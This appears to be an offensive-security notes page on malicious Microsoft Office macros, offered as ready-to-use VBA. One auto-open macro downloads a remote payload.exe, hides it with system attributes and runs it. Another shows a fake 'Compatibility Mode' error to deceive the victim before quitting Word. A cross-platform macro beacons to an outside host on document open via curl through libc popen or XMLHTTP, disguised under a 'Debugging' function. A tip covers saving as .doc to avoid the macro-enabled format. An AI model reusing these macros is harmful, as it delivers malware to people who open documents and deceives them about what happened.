Macros

Tips

  • Save Word document as "Word 97-2004 Document .doc" to not have to use the "Word Macro-Enabled Document (.docm)

Simple Download / Exec

Sub Auto_Open()

Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2

Dim xHttp
Dim bStrm
Dim filename

Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "https://.../payload.exe", False
xHttp.Send

Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")

filename = Environ("USERPROFILE") & "\" & DateDiff("s", #1/1/1970#, Now())

gobjBinaryOutputStream.Type = ADTYPEBINARY
gobjBinaryOutputStream.Open
gobjBinaryOutputStream.write xHttp.responseBody
gobjBinaryOutputStream.savetofile filename, ADSAVECREATEOVERWRITE

SetAttr filename, vbReadOnly + vbHidden + vbSystem
Shell (filename)

End Sub

Inspired by https://gist.github.com/nopslider/0d48760928642ca190ed

Dim title As String
title = "Microsoft Office (Compatibility Mode)"
Dim msg As String
Dim intResponse As Integer
msg = "This application appears to have been made with an older version of the Microsoft Office product suite. Please have the author save this document to a newer and supported format. [Error Code: -219]"
intResponse = MsgBox(msg, 16, title)
Application.Quit

Source: Unicorn

Cross Platform (Windows / OSX) GET Macro

#If Mac Then
    Private Declare PtrSafe Function web_popen Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr
    Private Declare PtrSafe Function web_pclose Lib "libc.dylib" Alias "pclose" (ByVal file As LongPtr) As Long
    Private Declare PtrSafe Function web_fread Lib "libc.dylib" Alias "fread" (ByVal outStr As String, ByVal size As LongPtr, ByVal items As LongPtr, ByVal stream As LongPtr) As Long
    Private Declare PtrSafe Function web_feof Lib "libc.dylib" Alias "feof" (ByVal file As LongPtr) As LongPtr
#End If

Sub AutoOpen()
    Debugging
End Sub

Sub Auto_Open()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function executeInShell(web_Command As String) As String

    Dim web_File As LongPtr
    Dim web_Chunk As String
    Dim web_Read As Long

    On Error GoTo web_Cleanup

    web_File = web_popen(web_Command, "r")

    If web_File = 0 Then
        Exit Function
    End If

    Do While web_feof(web_File) = 0
        web_Chunk = VBA.Space$(50)
        web_Read = web_fread(web_Chunk, 1, Len(web_Chunk) - 1, web_File)
        If web_Read > 0 Then
            web_Chunk = VBA.Left$(web_Chunk, web_Read)
            executeInShell = executeInShell & web_Chunk
        End If
    Loop

web_Cleanup:

    web_pclose (web_File)

End Function

Public Function getHTTP(sURL As String, sQuery As String) As String
    Dim sCmd As String
    Dim sResult As String
    Dim lExitCode As Long
    sCmd = "curl --get -d """ & sQuery & """" & " " & sURL
    sResult = executeInShell(sCmd)
    getHTTP = sResult
End Function

Public Function Debugging() As Variant

    Dim sURL
 
    sURL = "https://target.com/index.php"

    On Error Resume Next
            Dim tracking As String
            tracking = sURL
            
            #If Mac Then
                'Mac Rendering
                getHTTP tracking, "d=Mac"
            #Else
                'Windows Rendering
                Dim objWeb As Object
                Set objWeb = CreateObject("Microsoft.XMLHTTP")
                objWeb.Open "GET", "https://target.com/index.php?d=" & "Windows", False
                objWeb.send
            #End If
End Function

Last updated